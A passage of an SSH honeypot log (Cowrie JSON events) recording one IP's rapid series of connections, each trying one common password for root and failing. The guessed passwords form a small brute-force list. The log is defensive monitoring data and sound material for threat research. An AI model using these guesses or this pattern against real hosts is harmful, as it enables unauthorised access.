d25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:54.557069Z","src_ip":"60.165.124.241","session":"5abd535613bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZ@wsx","message":"login attempt [root/1QAZ@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:55.313241Z","src_ip":"60.165.124.241","session":"5abd535613bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:56.565075Z","src_ip":"60.165.124.241","session":"5abd535613bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37506,"dst_ip":"10.17.0.5","dst_port":22,"session":"b334e5e7812b","protocol":"ssh","message":"New connection: 60.165.124.241:37506 (10.17.0.5:22) [session: b334e5e7812b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:56.783013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:56.788444Z","src_ip":"60.165.124.241","session":"b334e5e7812b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:57.029453Z","src_ip":"60.165.124.241","session":"b334e5e7812b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456.","message":"login attempt [root/Admin@123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:57.743822Z","src_ip":"60.165.124.241","session":"b334e5e7812b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:58.983936Z","src_ip":"60.165.124.241","session":"b334e5e7812b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40174,"dst_ip":"10.17.0.5","dst_port":22,"session":"2007c9739d07","protocol":"ssh","message":"New connection: 60.165.124.241:40174 (10.17.0.5:22) [session: 2007c9739d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:59.219984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:59.224992Z","src_ip":"60.165.124.241","session":"2007c9739d07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:59.462437Z","src_ip":"60.165.124.241","session":"2007c9739d07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"GnSsroot1215","message":"login attempt [root/GnSsroot1215] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:00.180692Z","src_ip":"60.165.124.241","session":"2007c9739d07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:01.427997Z","src_ip":"60.165.124.241","session":"2007c9739d07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43118,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ce61f364a74","protocol":"ssh","message":"New connection: 60.165.124.241:43118 (10.17.0.5:22) [session: 9ce61f364a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:01.663935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:01.669933Z","src_ip":"60.165.124.241","session":"9ce61f364a74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:01.924931Z","src_ip":"60.165.124.241","session":"9ce61f364a74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCabc123.com","message":"login attempt [root/ABCabc123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:02.673808Z","src_ip":"60.165.124.241","session":"9ce61f364a74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:03.927285Z","src_ip":"60.165.124.241","session":"9ce61f364a74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46458,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fad37ffed5b","protocol":"ssh","message":"New connection: 60.165.124.241:46458 (10.17.0.5:22) [session: 5fad37ffed5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:04.176915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:04.182860Z","src_ip":"60.165.124.241","session":"5fad37ffed5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:04.442926Z","src_ip":"60.165.124.241","session":"5fad37ffed5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lol123","message":"login attempt [root/lol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:05.201450Z","src_ip":"60.165.124.241","session":"5fad37ffed5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:06.467454Z","src_ip":"60.165.124.241","session":"5fad37ffed5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49262,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cebdb5ae4b9","protocol":"ssh","message":"New connection: 60.165.124.241:49262 (10.17.0.5:22) [session: 7cebdb5ae4b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:06.698563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:06.703607Z","src_ip":"60.165.124.241","session":"7cebdb5ae4b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:06.947043Z","src_ip":"60.165.124.241","session":"7cebdb5ae4b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123456","message":"login attempt [root/Asd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:07.704134Z","src_ip":"60.165.124.241","session":"7cebdb5ae4b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:08.954100Z","src_ip":"60.165.124.241","session":"7cebdb5ae4b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52544,"dst_ip":"10.17.0.5","dst_port":22,"session":"48d1fd26560b","protocol":"ssh","message":"New connection: 60.165.124.241:52544 (10.17.0.5:22) [session: 48d1fd26560b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:09.202333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:09.208415Z","src_ip":"60.165.124.241","session":"48d1fd26560b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:09.452931Z","src_ip":"60.165.124.241","session":"48d1fd26560b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lenovo123!@#","message":"login attempt [root/lenovo123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:10.176848Z","src_ip":"60.165.124.241","session":"48d1fd26560b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:11.423292Z","src_ip":"60.165.124.241","session":"48d1fd26560b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55436,"dst_ip":"10.17.0.5","dst_port":22,"session":"55b584917609","protocol":"ssh","message":"New connection: 60.165.124.241:55436 (10.17.0.5:22) [session: 55b584917609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:11.655388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:11.661247Z","src_ip":"60.165.124.241","session":"55b584917609","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:11.903573Z","src_ip":"60.165.124.241","session":"55b584917609","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"PPadmin1122113@","message":"login attempt [root/PPadmin1122113@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:12.620324Z","src_ip":"60.165.124.241","session":"55b584917609","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:13.860206Z","src_ip":"60.165.124.241","session":"55b584917609","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58460,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ac0c80d5952","protocol":"ssh","message":"New connection: 60.165.124.241:58460 (10.17.0.5:22) [session: 9ac0c80d5952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:14.093385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:14.098136Z","src_ip":"60.165.124.241","session":"9ac0c80d5952","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:14.335598Z","src_ip":"60.165.124.241","session":"9ac0c80d5952","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123!","message":"login attempt [root/Admin@123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:15.050943Z","src_ip":"60.165.124.241","session":"9ac0c80d5952","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:16.291814Z","src_ip":"60.165.124.241","session":"9ac0c80d5952","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33300,"dst_ip":"10.17.0.5","dst_port":22,"session":"625a482e9dfb","protocol":"ssh","message":"New connection: 60.165.124.241:33300 (10.17.0.5:22) [session: 625a482e9dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:16.567710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:16.572607Z","src_ip":"60.165.124.241","session":"625a482e9dfb","protocol":"ssh"}
